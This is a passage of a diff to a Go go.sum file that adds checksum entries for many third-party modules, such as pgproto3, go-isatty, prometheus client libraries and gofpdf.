v0.3.13 h1:lFzP57bqS/wsqKssCGmtLAb8A0wKjLGrve2q3PPVcBk= github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= @@ -236,6 +1105,7 @@ github.com/influxdata/influxdb-client-go/v2 v2.12.3 h1:28nRlNMRIV4QbtIUvxhWqaxn0 github.com/influxdata/influxdb-client-go/v2 v2.12.3/go.mod h1:IrrLUbCjjfkmRuaCiGQg4m2GbkaeJDcuWoxiWdQEbA0= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 h1:W9WBk7wlPfJLvMCdtV4zPulc4uCPrlywQOmbFOhgQNU= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= +github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0= github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8= @@ -256,6 +1126,7 @@ github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5W github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= +github.com/jackc/pgproto3 v1.1.0 h1:FYYE4yRw+AgI8wXIinMlNjBbp/UitDJwfj5LqqewP1A= github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg= @@ -288,6 +1159,7 @@ github.com/jaswdr/faker v1.16.0/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= +github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= @@ -296,9 +1168,15 @@ github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/X github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= +github.com/jung-kurt/gofpdf v1.0.0/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= +github.com/jung-kurt/gofpdf v1.0.3-0.20190309125859-24315acbbda5/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= +github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/klauspost/asmfmt v1.3.2/go.mod h1:AG8TuvYojzulgDAMCnYn50l/5QV3Bs/tp6j0HLHbNSE= +github.com/klauspost/compress v1.15.9/go.mod h1:PhcZ0MbTNciWF3rruxRgKxI5NkcHHrHUDtV4Yw2GlzU= +github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= @@ -306,11 +1184,15 @@ github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/labstack/echo/v4 v4.2.1/go.mod h1:AA49e0DZ8kk5jTOOCKNuPR6oTnBS0dYiM4FW1e6jwpg= github.com/labstack/gommon v0.3.0/go.mod h1:MULnywXg0yavhxWKc+lOruYdAhDwPK9wf0OL7NoOu+k= github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= @@ -319,6 +1201,9 @@ github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= +github.com/lyft/protoc-gen-star v0.6.0/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= +github.com/lyft/protoc-gen-star v0.6.1/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= +github.com/lyft/protoc-gen-star/v2 v2.0.1/go.mod h1:RcCdONR2ScXaYnQC5tUzxzlpA3WVYF7/opLeUgcQs/o= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= @@ -326,40 +1211,59 @@ github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3v github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/matryer/moq v0.0.0-20190312154309-6cfb0558e1bd/go.mod h1:9ELz6aaclSIGnZBoaSLZ3NAl1VTufbOrXBPvtcy6WiQ= +github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= +github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.12 h1:jF+Du6AlPIjs2BiUiQlKOX0rt3SujHxPnksPKZbaA40= github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= +github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ= +github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= +github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng= +github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/mattn/go-sqlite3 v1.14.14/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU= +github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= github.com/mattn/goveralls v0.0.11 h1:eJXea6R6IFlL1QMKNMzDvvHv/hwGrnvyig4N+0+XiMM= github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= +github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= +github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= +github.com/minio/asm2plan9s v0.0.0-20200509001527-cdd76441f9d8/go.mod h1:mC1jAcsrzbxHt8iiaC+zU4b1ylILSosueou12R++wfY= +github.com/minio/c2goasm v0.0.0-20190812172519-36a3d3bbc4f3/go.mod h1:RagcQ7I8IeTMnF8JTXieKnO4Z6JCsikNEzj0DwauVzE= +github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= +github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= +github.com/mitchellh/go-wordwrap v1.0.0/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= +github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= @@ -386,6 +1290,8 @@ github.com/ory/go-acc v0.2.8 h1:rOHHAPQjf0u7eHFGWpiXK+gIu/e0GRSJNr9pDukdNC4= github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= github.com/ory/viper v1.7.5 h1:+xVdq7SU3e1vNaCsk/ixsfxE4zylk1TJUiJrY647jUE= github.com/ory/viper v1.7.5/go.mod h1:ypOuyJmEUb3oENywQZRgeAMwqgOyDqwboO1tj3DjTaM= +github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= +github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pborman/uuid v1.2.0 h1:J7Q5mO4ysT1dv8hyrUGHb9+ooztCXu1D8MY8DZYsu3g= github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= @@ -396,6 +1302,11 @@ github.com/pelletier/go-toml/v2 v2.0.6 h1:nrzqCb7j9cDFj2coyLNLaZuJTLjWjlaz6nvTvI github.com/pelletier/go-toml/v2 v2.0.6/go.mod h1:eumQOmlWiOPt5WriQQqoM5y18pDHwha2N+QD+EUNTek= github.com/peterh/liner v1.2.1 h1:O4BlKaq/LWu6VRWmol4ByWfzx6MfXc5Op5HETyIy5yg= github.com/peterh/liner v1.2.1/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= +github.com/phpdave11/gofpdf v1.4.2/go.mod h1:zpO6xFn9yxo3YLyMvW8HcKWVdbNqgIfOOp2dXMnm1mY= +github.com/phpdave11/gofpdi v1.0.12/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= +github.com/phpdave11/gofpdi v1.0.13/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= +github.com/pierrec/lz4/v4 v4.1.15/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= +github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= @@ -404,11 +1315,15 @@ github.com/pkg/sftp v1.10.1/go.mod h1:lYOWFsE0bwd1+KfKJaKeuokY15vzFx25BLbzYYoAxZ github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= +github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= +github.com/prometheus/client_golang v1.4.0/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU= github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= +github.com/prometheus/client_golang v1.11.1/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= github.com/prometheus/client_golang v1.12.2 h1:51L9cDoUHVrXx4zWYlcLQIZ+d+VXHgqnYKkIuq4g/34= github.com/prometheus/client_golang v1.12.2/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= @@ -416,9 +1331,12 @@ github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1: github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.3.0 h1:UBgGFHqYdG/TPFD1B1ogZywDqEkwp3fBMvqdiQ7Xew4= +github.com/prometheus/client_model v0.3.0/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w= github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= +github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8bs7vj7HSQ4= github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4= @@ -426,6 +1344,7 @@ github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+ github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= +github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU= @@ -436,12 +1355,15 @@ github.com/pseudomuto/protoc-gen-doc v1.4.1/go.mod h1:exDTOVwqpp30eV/EDPFLZy3Pwr github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3Q8ViKSAXT0Q= github.com/pseudomuto/protokit v0.2.1 h1:kCYpE3thoR6Esm0CUvd5xbrDTOZPvQPTDeyXpZfrJdk= github.com/pseudomuto/protokit v0.2.1/go.mod h1:gt7N5Rz2flBzYafvaxyIxMZC0TTF5jDZfRnw25hAAyo= +github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/robfig/cron v1.2.0/go.mod h1:JGuDeoQd7Z6yL4zQhZ3OPEVHB7fL6Ka6skscFHfmt2k= github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= +github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= @@ -452,9 +1374,15 @@ github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThC github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/ruudk/golang-pdf417 v0.0.0-20181029194003-1af4ab5afa58/go.mod h1:6lfFZQK844Gfx8o5WFuvpxWRwnSoipWe/p622j1v06w= +github.com/ruudk/golang-pdf417 v0.0.0-20201230142125-a7e3863a1245/go.mod h1:pQAZKsJ8yyVxGRWYNEm9oFB8ieLgKFnamEyDmSA0BRk= +github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= +github.com/ryanuber/columnize v2.1.0+incompatible/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= +github.com/sagikazarmark/crypt 